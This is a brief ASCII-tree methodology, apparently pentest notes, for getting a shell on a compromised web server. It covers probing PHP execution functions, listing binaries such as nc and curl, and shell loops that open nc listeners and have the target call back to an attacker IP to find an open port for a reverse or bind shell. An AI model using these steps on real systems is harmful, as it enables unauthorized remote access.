Methodology

_ Keep it simple, test for very basic things.
|
|
|________ Which languages are interpreted by the servers, try to upload some simple echo
|        |
|        |
|        |____ Found php ? Check echo about system, passthru, shell_exec, exec to see if you can use them
|
|
|________ Check commons binaries available on the system using which, locate, or by searching binaries 
         | at /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin
|        |
|        |
|        |____ which which ls find python perl bash sh dash xterm php jsp java asp socat nc ncat 
               netcat nc.traditional nc.openbsd ruby wget curl fetch lua gawk awk tclsh
|
|
|
|________ Try to get a reverse shell at port 443, then 80, if not working
|        |
|        |
|        |
|        |____ Open 2000 ports on your server using nc
|        | for port in {1..2000};do nc -nlvp $port &;done
|        |
|        |
|        |____ Ask the target server to connect to those ports
|        |   for port in {1..2000};do curl -X GET http://IP:$port/acknak
|        |         2>&1;done
|        |
|        |
|        |
|        |____ Repeat until you iterated all ports
|        |
|        |
|        |
|        |____ Reverse Shell on the port you've been hit
|
|                                                                                                      
|
|
|________ Still not working ? Go bind shell
         |
         |
         |_____ Test port 443, 80, then try the nc opening ports tricks by swapping the server/client role
